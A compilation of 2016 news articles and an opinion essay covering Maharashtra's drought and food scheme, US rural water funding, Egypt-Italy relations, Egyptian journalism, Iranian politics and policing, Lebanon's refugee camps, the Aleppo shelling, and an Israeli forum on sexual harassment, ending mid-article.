In the arid region of Marathwada, which received just half its regular rainfall, water storage in the dams is down to 15%. Across the region, wells and borewells are drying up. Officials say the drought in Maharashtra  among the most widespread in recent years has affected crops more than drinking water. Yet Marathwada is already in the grip of a crisis which is set to intensify in the summer months. Last October, the region received water from 22 tankers. Now, that has swelled to 640.

Destitute old citizens have no place in Maharashtra; they are hungry and starved to death. Not a speck of the 225 metric tonnes of grain the aged in the state are due to get every month under a food scheme for the poor can be found in Maharashtra. With the Centre not releasing the quota since April 2014, the scheme has come to a complete standstill in the state for the last 10 months.

The Annapurna Yojana, which has been operating nationwide since 2001, has roughly 78,400 beneficiaries in Maharashtra. Under the scheme, the destitute populationaged 65 and aboveis eligible for 10 kg of free wheat and rice each month. The grains are provided by the Centre. The state was receiving roughly 225 metric tonnes of wheat and rice from the Centre each month. However, since April 2014, the Centres allocation abruptly halted and has still not resumed figures with the state food and civil supplies department show. The state government sent across its utilization certificate with its demand for grains in March 2014. However, no supply arrived and no explanation seems to be forthcoming.

Meanwhile as a courtesy Maharashtra government deployed trains to supply water to drought-hit Latur, but there also they try to garner political mileage out of it. The Maharashtra government has declared a drought-like condition in 14,708 of the states 43,000 villages. This means the drought covers 34% of the state. This is the second successive year of drought in Maharashtra. In fact, the state has experienced three such calamities in the last four years. The region of Marathwada has been worst-hit, with a drought-like condition declared in every single village. As many as 8,522 villages in the region have been impacted. This accounts for 58% of the drought area in the state.

North Maharashtra, which includes Nashik and Jalgaon districts, follows next with 4,869 villages impacted. This accounts for 33% of the drought area. The region of Konkan has been spared, with not a single village affected by the calamity. The Konkan region experienced satisfactory monsoon this year. The government has announced a series of measures for drought-affected farmers, including the waiver of land revenue and school fees for their children and a 33% waiver in the bill amount of agricultural pumps. The government has also said it will provide water tankers in scarcity-prone villages and take steps not to disconnect agricultural pumps. So far, Rs 920 crore has been provided for drought relief, of which Rs 556 crore has come from the Centre.

(Any suggestions, comments or dispute with regards to this article send us on feedback@afternoonvoice.com)
Earths uniqueness lies in the fact that it is the only planet which supports life. A balanced environment on earth is what makes the survival of species possible. Modern man has made great development in the fields of science and technology. Today, he is all ready to settle a living community on Mars. So when even the planets of our solar system have not been able to escape the grasp of mans advancing technology, can the environment on our own planet remain untouched? No. All the scientific advancement made by man has come at a cost of the degradation of our environment. The main cause for degradation of the environment is pollution. Today, industries are part of a countrys economy. As a result factories have been set up everywhere around the globe. The toxic substances released by these factories pollute the air and contaminate the water. The polluted air is responsible for a number of hazardous diseases in human and animals. Running of transport vehicles raises dust and causes noise as well. Chemical factories release harmful gas particles and fatal lead components, in small amounts may be.

Man is Gods most beautiful creation but now he damaging the environment by cutting down trees. These trees maintain a balance in the ecosystem. Without trees, there would be no control over soil erosion, floods, droughts, pollution etc. Trees also maintain a balance between oxygen and carbon dioxide gases in the air. Besides these productive functions, trees have innumerable productive functions. They provide man with timber, fuel, pulp, gum, resin, rubber, fruits, nuts etc. So, the trees are really very-very important. In a tropical country like India 1/3rd of the land is under forest. However, the satellite reports show that forest cover is declining. The forests have been destroyed and forest land has been used for cultivation and constructions of buildings. As the future inhabitants of this earth, it is only our children who are going to suffer and only we can make the earth a better living place for tomorrow. We should plant more trees every year and report about the damages caused to them to authorities. Save the earth. Save the environment are buzz words. People have started realizing the beauty of mother nature and the importance preserving her in her original form for future generations. Nature is our oldest companion and man has always depended heavily on her for all his needs. Today, despite all the technical aspects man is becoming more and more dependent on nature. Let us save earth from dying.

(The views expressed by the author in the article are his/her own.)
WASHINGTON, April 22, 2016  Friday is Earth Day and USDA is using the occasion to spotlight scores of projects designed to improve water quality in 33 states across the country.

In all, the department is investing $183 million in 60 water and wastewater infrastructure projects through the Water and Environmental Program (WEP) administered by USDAs Rural Development office. The program provides technical assistance and financing to develop drinking water and waste disposal systems for communities with fewer than 10,000 residents.

"Safe drinking water and sanitary waste disposal systems are vital not only to public health, but also to the economic vitality of small communities," Agriculture Secretary Tom Vilsack said in a release. "Helping rural communities build and upgrade their water infrastructure is one more way USDA strengthens rural areas. Building and maintaining water infrastructure creates jobs, boosts the economy, and provides rural families with safe, reliable water and wastewater facilities that improve the environment."



One of those communities is Coggon, Iowa, which is receiving a $2.3 million WEP loan and a $1.89 million WEP grant to construct a wastewater treatment plant and upgrade a plant to benefit the towns 658 residents. The funding will help Coggan meet new pollutant standards and eliminate manual cleaning. Without the new system, waters downstream from the plant could become contaminated, potentially harming human health and the environment, USDA said.

Seventeen of the Earth Day recipients announced this week are receiving funding priority through a 2014 farm fill provision that encourages communities to adopt regional economic development plans. USDA says these projects are centered on collaboration and long-term growth strategies. They leverage outside resources and capitalize on a region's unique strengths.

One of these recipients, the Big Lake Area Sanitary District in Minnesota, is receiving a $2.9 million loan and a $4.5 million grant to build a wastewater treatment plant serving Perch Lake and Sawyer townships and the Fond du Lac Indian Reservation. USDA said this collaborative effort will convert the treatment plant into a pressure sewer collection system. Much of the plant is inadequate or failing.

Like what you see on the Agri-Pulse website? See even more ag, rural policy and energy news when you sign up for a four-week free trial Agri-Pulse subscription.





The project supports the Fond du Lac Community Economic Development Plan, which highlights the importance of providing adequate wastewater treatment services and protecting the health and welfare of people who live or work on the reservation. Improving water quality will increase the fish population, which will boost local tourism revenue.

The first Earth Day was celebrated on April 22, 1970, and is widely credited with launching the modern environmental movement, according to the Earth Day Network. The passage of the landmark Clean Air Act, Clean Water Act, Endangered Species Act and many other groundbreaking environmental laws soon followed. Twenty years later, more than 1 billion people now participate in Earth Day activities each year, making it the largest civic observance in the world.

#30

For more news, go to: www.Agri-Pulse.com
April 21, 2016

CAIRO  Cairo is anxiously awaiting the decisions of the Italian government concerning Romes relations with Egypt following the murder of Italian graduate student Giulio Regeni in Egypt, and Cairos failure to reveal the reasons behind the tragic events and to provide evidence establishing the real culprit. Regeni went missing in Cairo on Jan. 25 and his body was found on the side of a desert road Feb. 3. Tension reached its peak between the two countries when Italy recalled its ambassador to Egypt on April 8, which some observers viewed as the beginning of a halt in relations between the two countries, especially in the commercial sphere.

The announcement of Regenis death coincided with the visit of the Italian Ministry of Economic Development, Federica Judy, in February, at the head of an economic delegation including 30 Italian businesses to discuss a number of investment and cooperation opportunities in the fields of trade, industry, irrigation, oil and gas. However, with the discovery of the murder, the Italian minister canceled the visit and returned back home, disregarding the visit agenda and the several agreements that were expected to be signed between Egypt and Italy.

However, in an April 12 report, Reuters noted that Italy is unwilling to jeopardize commercial ties over the brutal murder.

In this context, Mohammed Hamdi, a member of the Italian-Egyptian Business Council, told Al-Monitor following his return from a visit to Italy that the Italian side is committed to continue working with Egypt and cannot relinquish the Egyptian market, which is one of the largest markets for Italian exports.

According to the latest statistics by the Ministry of Commerce and Industry in Egypt, trade between the two countries amounted to over 5 billion euros ($5.64 billion) in 2014, compared with 4.7 billion euros in 2013. Italy also ranked as the fourth-largest trade partner of Egypt in 2015.

Furthermore, according to previous statements by Minister of Commerce and Industry Tariq Qabil, Italian investments in Egypt amount to $1.4 billion, while Italy ranks fifth among the largest investors in Egypt. Italian investments are distributed among 965 companies in the finance, industry, services, tourism, construction, agriculture and information technology areas.

For his part, Hamdi noted that his Italian partners confirmed that the Italian government has placed itself in a bind, allowing Regenis murder to take a political turn instead of the government dealing with the case within its criminal context. He stressed that most Italian investors with whom he had met are not satisfied with the way their government is dealing with the issue.

Ahmad Maghwar, who heads Egypts trade office in Milan, said previously that Egyptian exports to Italy increased by 52% in 2014, amounting to nearly 2.4 billion euros.

Egypt is keen on increasing the volume of trade exchange with Italy during the next two years to about 6 billion euros, according to an official at the Egyptian Ministry of Trade and Industry. The ministry has not received any complaint from the Italian side as to the completion of work. The Italian government did not call for the amendment of any commercial or investment agreement signed between the two countries, the official told Al-Monitor.

The source, who preferred to remain anonymous, noted that Egypt had participated in the Salone del Mobile furniture exhibition that was held in Italy this month, with a high turnout of Egyptian furniture companies.

Italy did not request Egypt to cancel its participation in the exhibition against the backdrop of tension between the two countries, the source said.

Italian investments in the Egyptian market are mainly focused in the petroleum and cement industries. In August 2015, Italy's largest oil producer, Eni, announced the discovery of Zohr  the largest natural gas field ever discovered in the Mediterranean  in the Shorouk block of Egypts Sohar basin in the Mediterranean. The investments in the gas field are estimated at about $12 billion.

Also, Italys Edison is working on a similar discovery in the Northeast Habi Marine block in the Mediterranean. This is in addition to the Italian investments in the Suez Cement Factory, which is owned by the Italcementi Group. The projects investments are estimated at about 1.7 billion Egyptian pounds ($191 million).

Speculation has abounded recently as to the possible suspension of Italian projects and investments in Egypt; however, this was denied by the Ministry of Petroleum in a statement, confirming the ongoing operations of Italys largest companies in Egypt, including Eni, which is proceeding with the exploration works in the Zohr gas field.

Italy has been a top source of tourists for Egypt. About 1 million Italian tourists arrived in Egypt in 2010, although this fell to 504,000 in 2015.

Karim Mohsen, a tour company owner and a member of the Italian-Egyptian Business Council, told Al-Monitor, Italian tourist arrivals have been affected following the Tunisian bombings last year.

He said the attempt to bomb the Italian Embassy in Cairo in July 2015 also adversely affected Italian tourism movement in Egypt. Still, he said Egypt is an unparalleled tourist attraction for Italy during the winter season, and saw possibilities for Italian tour companies to work on promoting Egyptian destinations.

This is not to mention that tourist packages to Egypt are cheap compared with competing countries. The problem, according to Mohsen, is the declining demand to visit Egypt among Italian tourists, especially following the Russian plane crash at Sharm el-Sheikh in October 2015.
April 20, 2016

The recent decision to stop publishing the print edition of the British daily The Independent, which was in publication for more than 30 years, was likely a source of depression for many in the United Kingdom. But the decision was actually a cause for optimism among Egyptian journalists.

Many employees of Egyptian news organizations viewed the development as a possible solution to their own problems, particularly those journalists who work on the web versions of their newspapers. The Independents decision to cease paper publication  with the last issue going out on March 26  gave them hope that Egyptian newspapers would cease publishing their print versions, or publish them on a weekly basis, to cut down on printing costs. This would contribute to alleviating these newspapers financial problems and, therefore, better guarantee the regular payment of staff salaries, or perhaps even lead to raises.

A former journalist with Al-Shorouk newspaper, one of those stricken by financial difficulties, told Al-Monitor on condition of anonymity, I had worked on the electronic version of the publication, and we had been suffering from delays in the payment of salaries. The costs associated with printing the newspaper was one of the reasons for the financial crisis. As a result of poor circulation numbers and lack of interest in printed newspapers in general, the paper version adds to losses incurred by the company.

The journalist said, These losses are not only borne by the owner of the newspaper, but the journalists are also shouldering the burden by not getting paid on a regular basis.

Another journalist at Al-Watan newspaper said that while his paper was not suffering from a severe financial crisis, spending on the print version could be better controlled, with more attention being paid to the website that has grown to become the main source of profits.

The foregoing was a mere sampling of journalists opinions, though social networking sites were awash with similar sentiments. However, the reliance of Egyptian news organizations on their electronic versions as the main source of profits is debatable. Mohammed Mousa, former head of the investigations department at Al-Shorouk newspaper, told Al-Monitor that while print versions had lost their importance in terms of reading and distribution rates, advertisements in print versions are still more expensive than those in electronic versions and still comprise a greater source of profit. Most advertisers believe that the printed advertisements are more valuable for their companies because they are documented and the reader can keep them. "However, the news websites will replace all the traditional media outlets, but it'll be slower in its experience than the international models," he added.

Yet print version journalists were the most adamant objectors to such opinions. One journalist at the Al-Masry Al-Youm newspaper told Al-Monitor, A publication such as Al-Masry Al-Youm cannot cease printing its paper version. Al-Masry Al-Youm changed the face of Egyptian journalism and tops the list of most circulated newspapers, ahead of Al-Ahram, Al-Akhbar and Al-Gomhuria, which remained at the forefront for decades; lest we forget that printed newspapers continue to attract a large audience.

Another journalist working for the Al-Youm Al-Sabea newspaper told Al-Monitor, Al-Youm Al-Sabea is the pre-eminent news website in Egypt. Our efforts on the paper and electronic versions are complementary, whereby all journalists work on both. I am therefore not biased in favor of the paper version, but journalists who demand a halt of the printed newspaper should rethink their stance because the Journalists Syndicate disallows membership to journalists who work for publications that do not have paper versions. The journalists who work for Al-Youm Al-Sabea faced such a problem, which was resolved when the newspaper started publishing a paper version.

Concerning membership, Journalists Syndicate board member Khaled al-Balashi told Al-Monitor, I always try to find solutions allowing membership to e-journalists. But doing so requires amending the Journalists Syndicate Law, which no longer adequately applies to current work conditions where e-journalists represent 50% or more of the Egyptian journalistic labor force. Khaled Miri, undersecretary of the Journalists Syndicate, stated to the press on April 10 that the syndicate was in the process of amending the law to allow the inclusion of e-journalists.

In a March 26 article titled Is this the end of the newspaper era, now that The Independent ceased publishing its paper version? Al-Ahram media affairs e-journalist Ahmed Abdel Maksoud wrote, There is no doubt that the printed press has come a long and successful way throughout more than three centuries. But it would seem that its historically acquired legitimacy will not be enough for it to continue on, as many competing forms have emerged to give it a strong run for its money.

With regard to this competition, he said, At first, street newspaper vendors [in Egypt] only yelled out three names: Al-Akhbar, Al-Ahram, Al-Gomhuria [in reference to the three main Egyptian newspapers]. But, with time, they started adding names to that three-name list of giants, leading to an intra-paper publication war.

He added, Screens [TV and satellite channels] started competing with paper and ink [printed publications], with a new horse entering the race recently in the form of websites.

Abdel Maksoud added that the aforementioned developments were the main causes for the decline of print media, as even the readership that remained was now divided among a larger number of newspapers, with monopolies and profits slowly vanishing.

In that regard, press affairs journalist Khaled Barmawi, in an article on the Arab Journalists website titled Will printed media come to an end in Egypt before the United States?" wrote that last year saw more than 100 newspapers and magazines, from all over the world, cease publication of a printed version, with most of them turning to electronic copies, entering into mergers, contenting themselves with a weekly publication or breaking up their content into smaller specialized magazines. In general, that trend has been ongoing in Spain, France, Canada, the United States and many South American countries, despite the success stories that were evident there.

He added that success stories in the United States were due to the rise in subscription rates, the recovery from its economic crisis of 2008 and the readerships habit, particularly the older age group, of subscribing to printed press outlets.

In light of the rise in the rates of illiteracy, the economic crises that have befallen Egypt and the drop in per capita income, one can surmise with near certainty that Egyptian paper publications will eventually disappear unless the current regime intervenes to subsidize the national press, to protect itself from being stigmatized by the demise of the historical three giants in the field: namely, Al-Ahram, Al-Akhbar and Al-Gomhuria. Yet such a development may not be a stigma of shame, but a natural evolution in journalism that allows e-journalists to represent more than 50% of the Egyptian press labor market, despite the difficulties they faced in gaining membership to the syndicate.
April 20, 2016

TEHRAN, Iran  After our victory in the parliamentary elections, Mr. [Ali] Larijani contacted me to congratulate us. But we never held any conversation regarding the post of parliament speaker. I reject [talk of] agreeing or negotiating with Mr. Larijani on this issue.

These are the words of Mohammad Reza Aref, the head of the Reformist ticket for the Tehran constituency in Irans parliamentary elections held in February. Having secured the highest number of personal votes, Aref was elected to Irans next parliament with more than 1.6 million ballots cast in his favor. Those on the List of Hope, which included names from the Reformist camp as well as supporters of the moderate government, secured a resounding victory in Tehran, winning all of the voting districts 30 seats. In total, the Reformist-moderate coalition won 86 out of parliaments 290 seats. Its main rivals, the Principlist coalition, was badly defeated in Tehran, where it failed to elect even a single representative. However, the Principlists' performance was much better in smaller cities, ultimately leaving the coalition with 67 seats. Of the remaining seats in Irans next parliament, 55 went to independent candidates and 11 to the moderate conservative Voice of the Nation. Meanwhile, the contest for 71 remaining seats went into a second round.

Because no party or political movement was able to win an outright majority, it is very difficult to predict the next speaker. However, there is little doubt that the competition for this important position will be between none other than Aref and the incumbent, Larijani.

Larijani has been speaker for the past eight years, after defeating his predecessor, veteran politician Gholam Ali Haddad-Adel. Haddad-Adel, who also ran in the Feb. 26 parliamentary elections as head of the Principlist list in Tehran, came in 31st in the capital, leaving him unable to enter the next parliament. Larijani, who made his way into parliament for a third time through the city of Qom, has great chances of extending his position as speaker. For one reason, some of those on the List of Hope are veteran politicians who are loyal to Larijani and will thus naturally choose their old friend if it comes down to a contest between him and Aref. At the same time, the Principlists, who are unable to propose their own candidate for speaker, all prefer Larijani  who has Principlist roots  despite their many differences with him in recent years, including over how parliament is run, the ratifications of the Joint Comprehensive Plan of Action and Larijanis interaction with the government on economic issues. It should be noted that President Hassan Rouhani has during his almost three years in office shown that his administration gets along well with Larijani. This factor alone could prompt the government to prefer Larijani to continue as speaker.

Larijanis potential rival for the speakership is none other than the former vice president under President Mohammad Khatami  a man who not long ago dreamed of becoming president himself. Aref, who ran in the 2013 presidential race, withdrew his candidacy at the last minute in favor of incumbent Rouhani. At the time, a Reformist workgroup composed of the movements elders, with Khatami as its spiritual nexus, had formed to promote a single candidate. Aref had hoped to be the movements choice due to his strong Reformist credentials, but opinion polls put Rouhani in the lead.

A member of the Reformists advisory council told Al-Monitor on condition of anonymity, After numerous sessions, we decided to introduce Rouhani as the final candidate. The plan had been that if Rouhani was chosen as the ultimate candidate, Khatami would convince Aref to step aside, and if Aref was chosen, [former President Ali Akbar] Hashemi Rafsanjani would convince Rouhani to withdraw in favor of Aref. Aref, however, did not accept the councils decision and told Khatami that the only way he would withdraw was if the former president asked him to do so in writing. Khatami, who did not expect Aref to disobey his verbal request, did so with some disappointment, and in the end, Aref stepped aside.

Arefs dissatisfaction with his sidelining was so intense that he was not even willing to include Rouhanis name in his withdrawal statement and did not announce in whose favor he was stepping aside. He did, however, emphasize that in response to a letter from Khatami, he had agreed to withdraw his candidacy. Hence, perhaps Aref now perceives the speaker position as rightfully his. Yet one of the key obstacles to his potential ambition is that not all Reformists are in consensus about Aref. Prior to the parliamentary elections, Mohammad Reza Atrianfar, a member of the central council of the Executives of Construction party, said that the Reformists had many like Aref who could head their list. However, the Guardian Councils mass disqualification of Reformist candidates had left Aref as their lead candidate.

Furthermore, Arefs problems are not limited to the composition of the next parliament. A closer look at his behavior, especially during the televised debates among presidential candidates in 2013, shows that he is not a very calm person. Thus, he would perhaps not be a very suitable candidate for speaker of a parliament that is divided almost equally between two groups strongly opposed to each other. Managing such an environment would require a certain type of leadership.

Gholamhossein Karbaschi, secretary-general of the Executives of Construction Party, has said, It makes no difference for the [Rouhani] administration whether Aref or Larijani becomes speaker.

But will Aref, who agreed to make a sacrifice in the 2013 presidential elections, be willing to once again step aside and leave the floor open for Larijani? Saeed Leylaz, a prominent Iranian journalist and economist, told Al-Monitor, Whenever Mr. Aref has been put in a difficult position, he has made the right choice  and he shows no signs of having an individualistic mindset. Surely, if the coalition of Reformists and supporters of the government decide that Larijani is the better choice for speaker, Mr. Aref will not act independently. Notably, however, Leylaz did not confirm that the Reformist-moderate choice for speaker would be Larijani.

Despite all this concern, it seems unlikely that Aref will step aside without fuss. As the winners of the second round of polling for the remaining parliamentary seats appear  perhaps many of them Reformists  Aref will probably compete with Larijani for the position of speaker. Such a contest will not only bring him no benefit, but also allow conservative radicals to grow closer to Larijani.
April 21, 2016

The announcement of a 7,000-strong undercover morality police force in Tehran has been met with wide domestic criticism. Tehrans police chief, Hossein Sajedinia, defended the decision and attempted to downplay fears that the force would focus on reporting poorly veiled women.

Creating calm and security in the country, especially in Tehran, is what the people expect from the police, Sajedinia said April 21. He added that moral security is not only concerned with womens veiling but also other social harms such as drug abuse, theft, drug smuggling and gangs of violent criminals.

Regarding fears that the new force would turn into a rogue group of plainclothes officers harassing Iranians on the street, Sajedinia said, In the case that a crime is witnessed, they will only give the necessary information to police centers and under no conditions will the officers confront anyone face to face.

Sajedinia added that the undercover officers meet strict predetermined criteria and will operate under the full supervision of the police department. He also said that the police would coordinate all the force's activities with the judiciary. Addressing concerns about the possible misuse of power by the undercover officers, Sajedinia said that Iranians who wish to file a complaint would be able to call the police department and that their complaints would be addressed in the shortest possible amount of time.

When Sajedinia introduced the undercover officers in an April 18 ceremony, the news made international headlines and filled the front pages of Iranian newspapers. A picture of the undercover officers standing in rows at the ceremony quickly went viral. Aftab-e Yazd ran the image on its front page with the headline, The morality police went undercover. The word undercover was highlighted in red and the subtext announced that the force would be responsible for reporting poorly veiled women.

An article in Reformist Etemad reported that the picture of the undercover officers showed the faces of individuals that we pass every day. The author seemed not to find it strange that the individuals' faces were made public. Another Etemad article cast doubt on inexperienced or under-trained officers becoming involved in investigating such varied issues as veiling and drug use.

Many Iranians have expressed skepticism and concern online. Some said that even if the officers do not physically confront Iranians on the street, they could create distrust between citizens. There are also concerns that Iranians who appear more religious could be falsely accused of being undercover officers.

President Hassan Rouhani has also been critical of the measure. During a Cabinet meeting April 20, without directly addressing the new force, Rouhani said, We have to be fatherly toward the people. Every morning someone wakes up and there is a new regulation, a new framework. One person wants to control the people secretly. Another person wants to control people openly. Do we have the right? The freedom of the people cannot be limited unless through the law. Nothing else can control the freedom of the people. The administration cannot do it. The judiciary cannot do it. Only the law. Without the law we do not have the right to interfere in the private or public lives of people. The prophet said that the ruler must be the father of the nation.

Many Iranians have shared the one-minute video clip of Rouhanis comments on social media.
April 21, 2016

RAMALLAH, West Bank  Things are heating up in Lebanon's Palestinian refugee camps, as many observers fear al-Qaeda and Islamic State (IS) influences are working to create chaos and violence there.

The situation is particularly worrisome right now at the Ain al-Hilweh camp, where Fatah security official Gen. Fathi Zeidan was assassinated April 12. Another member of the secular Fatah movement was killed March 28 by a person officials described as an Islamic militant. There were clashes between Fatah and al-Qaeda-linked Jund al-Sham faction April 1-2, during which guns and rocket-propelled grenades were used.

The tension is bubbling like a volcano ready to explode, and Ain al-Hilweh is perched on its crater.

"Extremist groups are trying to drag the camp into a battle with the Palestinian factions, which are seeking to control the situation on the ground, a factional source in the camp told Al-Monitor on condition of anonymity.

The source said the camp has become an arena for some regional factions influenced by the ideology or funding of IS and al-Qaeda. Some factions support Sunni groups to counter the influence of the Shiite Hezbollah, and there is a rivalry between supporters of Palestinian President Mahmoud Abbas and supporters of dismissed Fatah leader Mohammed Dahlan.

The PLO, which is in charge of the camps, is concerned about the prevailing situation there. Yasser Abed Rabbo, a member of the PLO Executive Committee and its former secretary, told Al-Monitor, The situation in the camps in Lebanon can explode at any time, given the presence of forces and parties that have no ties with national and Islamic Palestinian organizations and that are trying to drag the camps toward battles that are inconsistent with the Palestinian and Lebanese interests.

However, Abed Rabbo said, "The Palestinian factions have an influence in the field and will not allow such an explosion, as they agreed with the Lebanese authorities not to allow these [forces] to reach their goals in the camps.

Sultan Abu Al-Einein, a member of Fatahs Central Committee and former secretary of the PLO factions in Lebanon, told Al-Monitor that Zeidan's assassination and the clashes in the camp are driven by security and political motives aimed at undermining the refugee issue."

He said, "This is knowing that these attempts are an extension to undermining the Yarmouk refugee camp that started in Syria." Yarmouk has fallen under the grip of IS. "The attempts have moved to refugee camps in Lebanon in a bid to explode the situation there, he added.

Abu Al-Einein said the effort is part of a conspiracy. What is being prepared for the camps aims to target the refugee issue, and there are a lot of parties employed by Israel and some parties in both the region and the world under fake Islamic and non-Islamic names in a bid to deal a blow to the camps stability.

Palestinians in Lebanons camps now have deeper concerns over the unfolding of another tragedy similar to the one that befell the Nahr al-Bared camp in northern Lebanon. That camp witnessed armed clashes from May to September of 2007 between the Lebanese army and the militant Fatah al-Islam movement, clashes that destroyed the camps and displaced its residents.

Asked about the security tension and the potential explosion, Abu Al-Einein said that secular Fatah, the Palestinian factions and the PLO have to shoulder their responsibilities and identify those behind the assassinations.

The Islamic Jihad representative in Lebanon, Abu Imad al-Rifai, told Al-Monitor, There is a scheme aimed at creating tension in the safe camps in order to target refugees in Lebanon. Rifai said there needs to be a Palestinian political group willing to manage the security situation.

The PLO is failing to manage the camp, as it hasnt made any political decision, knowing that it lacks a clear vision in this regard. Add to this the Fatah movements internal conflicts and organizational weakness, which harm everyone. It is in the interest of the camp and the refugees that Fatah remains strong and cohesive, Rifai said.

Author and political analyst Khalil Shaheen told Al-Monitor of IS-influenced parties that receive orders from outside Lebanon and plan to use the camps to create chaos and conflicts in Lebanon similar to what has happened in many Arab countries, especially Syria.

There is dereliction on the part of the PLO toward the refugees," Shaheen said. "The Palestinian factions have to work jointly and strengthen the supreme political leadership and the joint security force responsible for camp security to control most parts of the Ain al-Hilweh refugee camp and serve as a lesson for the other camps.

Ahmed Hanoun, director of the PLO Department of Refugee Affairs, told Al-Monitor the PLO is no longer able to resolve all the problems plaguing the camps, amid the chaos in the region.

Therefore, other entities in the region have to agree to protect the camps from conflicts while controlling the security situation in Lebanon  especially knowing that the situation is affected by Syrian developments.

Hanoun added, The [PLO] is making political efforts to prevent the camps from exploding and being dragged into an open war, and it is taking advantage of the political and security coordination with the Lebanese state. It should be noted that the national factions know full well how the situation will be in case of fighting, given the Nahr al-Bared and Yarmouk refugee camps' experiences.

It seems Palestinians in the camps do not have magic solutions to protect the camps from being drawn into a battle. Still, they are counting on unity and increased coordination between the Palestinian factions and the political and security authorities.
April 21, 2016

Since February, the Syrian armed opposition has been shelling Aleppos Kurdish Sheikh Maksoud neighborhood, where the Kurdish Peoples Protection Units (YPG) and about 25 armed opposition factions have been fighting.

The opposition is using locally made improvised weapons  such as the Hell cannon, Hamim missiles and mortars, in addition to other heavy weapons  against civilians. Shelling the neighborhood, where nearly 40,000 people reside, is a violation of the Syrian truce reached after the UN Security Council unanimously voted in favor of a cease-fire. Nidal Hannan, a journalist residing in the neighborhood, told Al-Monitor that April 5 was one of the deadliest days, as the shelling resulted in the death of dozens of civilians.

Hannan denounced the Syrian political oppositions silence on the Sheikh Maksoud incidents. A number of Kurdish and Syrian journalists and activists, including Hannan, issued a statement April 9 calling on international human rights organizations to take quick and responsible action to end the shellings, which rise to the level of war crimes. The statement also called for countering the actions of the armed factions, which misrepresent the Syrian peoples aspiration for freedom, dignity and human rights, and [harm] the principle of coexistence between Kurds and Arabs.

Human Rights Watch issued a report April 12 about the attacks against civilians.

The armed opposition, represented by Fastaqim Union (also known as Fatah Halab), blamed the increased attacks on the YPG, which it accused of opening a passageway to link the Sheikh Maksoud neighborhood with regime-controlled areas. But Imad Daoud, chairman of the civil administration in Sheikh Maksoud, denied any agreement between Kurdish fighters and the Syrian regime, saying, The said passageway was opened in coordination between the Kurdish Red Crescent and the Syrian Red Crescent to meet the needs of civilians and help the wounded and sick.

Ward Furati, a member of Fastaqim Unions political bureau, told Al-Monitor that what happened was due to the Democratic Union Partys (PYD) control over the neighborhood. He accused the PYD of using the Russian intervention against the Syrian revolution, and coordinating with the Syrian regime to take over liberated areas."

He said the battles began at a time when hostilities between the two parties were supposed to cease. Furati said Fastaqim Union issued a statement March 3 calling on the YPG to stop targeting civilians on the main road connecting the opposition-controlled areas to Aleppos northern countryside. The statement also called for putting an end to the use of heavy artillery and rockets, which have killed dozens of civilians.

Daoud, the neighborhood administrator, told Al-Monitor the armed opposition factions are blaming the PYD as a ruse to avoid admitting they have intentionally bombarded civilians. He said the attacks, which killed more than 100 civilians and injured around 700 others, were designed to implement regional and international agendas; he was referring to Turkeys support for the armed factions against Syrian President Bashar al-Assad.

A video posted online showed the Syrian Turkmen Brigades shelling the neighborhood with rockets bearing messages in Turkish, saying the attack was conducted to avenge the victims of Ankara and Istanbul.

According to Daoud, opposition factions, which deny attacking civilians, tried to break into the neighborhood from five different points and failed. The civilians, he noted, are situated about 300 meters (328 yards) away from the YPGs military positions.

On April 7, Jaish al-Islam admitted using prohibited weapons when targeting Sheikh Maksoud. UN Secretary-General Ban Ki-moon subsequently called for an investigation into reports of the use of chemicals.

Furati told Al-Monitor that a group affiliated with Jaish al-Islam had used Grad multiple-fire, truck-mounted rocket launchers, saying, Grad rockets are not internationally prohibited, but the FSA [Free Syrian Army] leaders in Aleppo banned their use and the use of artillery in operations against Sheikh Maksoud to ensure the safety of civilians.

The group Imam Bukhari Jamaat, affiliated with Jaish al-Fatah and Jabhat al-Nusra, released a video showing that it targeted the Sheikh Maksoud neighborhood with different weapons.

Daoud said that the opposition is using weapons containing toxic substances. Moreover, activists posted videos April 12 that include testimonies by civilians and a nurse at the Kurdish Red Crescent Hospital in the neighborhood, accusing the opposition of using toxic substances. The opposition denied the allegation April 15.

The conflict in Sheikh Maksoud serves as a warning against increased tension between Kurds and Arabs.

Furati said the FSA does not distinguish between Syrians, as a good number of Kurdish fighters are within our ranks. He accused the PYD of paving the way for a separatist project (in reference to the federal system announced by the Kurdish-led autonomous areas of northern Syria in March), saying that the attempt to separate the Kurds from the Syrian people will not succeed.

Hannan found it strange that armed factions would attempt to hide the truth of targeting civilians and limiting the conflict to the Kurdish party, even as the factions target a Kurdish-majority neighborhood.

On April 9, the factions issued a statement, which they attributed to the FSA, calling for distancing and moving civilians out of the neighborhood into safe places and bringing them back after the military operations are over.

Hannan, however, said the Kurds rejected the idea, seeing it as an attempt to force Kurdish civilians out of the neighborhood.

Daoud described the statement as a war crime and ethnic cleansing against the Kurds. He said all the neighborhoods residents, be they Kurds, Arabs, Turkmens or Christians, have rejected the statement, which stirs up strife between the Kurds and Arabs.

Furati said that the statement came in response to calls made by Sheikh Maksouds residents, who are trapped by the PYD.

An Arab resident of the neighborhood told Al-Monitor on condition of anonymity that the residents "do not trust a party that calls for distancing them while it is the one bombarding them. He called on the parties to the conflict not to involve civilians.
April 21, 2016

Rape and sexual harassment have preoccupied the Israeli public over the last year. A post by a female journalist who had been working with Knesset member Yinon Magal accusing him of sexual harassment eventually led to his resignation from the Knesset. Former Minister and Knesset member Silvan Shalom also resigned following sexual harassment allegations by a series of women. Actor Moshe Ivgy has also been paying dearly career-wise in recent months for alleged sexual harassment.

For quite some time now, complaining to the legal authorities has seemed to no longer be a necessary step in the public investigation of such matters. The complaints traditionally filed with the police are now often replaced by social media posts. One apt example is the Facebook page One Out of One, to which testimonies by women who have been sexually harassed are posted.

For the past 13 years, the Takana Forum has been operating quite discreetly in the national-religious community. "Takana" means both a rule and a remedy, and the forum addresses complaints against authority figures wielding power in the religious sector  spiritual leaders, influential officials or educators.

The forum typically appoints three or four of its members to handle reported harassment complaints. In each case, a panel of forum members hears the accused's side as well as the accuser's, and decides if and what sanctions to impose.

"The idea is to keep away the potential source of harm," Judith Shilat, the forum director and co-founder, told Al-Monitor. "If the respondent cooperates, he takes his punishment or complies with our decision and removes himself from the position of power that was misused. If he fails to do so, we inform the management of the institution where the harassment or abuse took place, so that he would be removed from any position of authority.

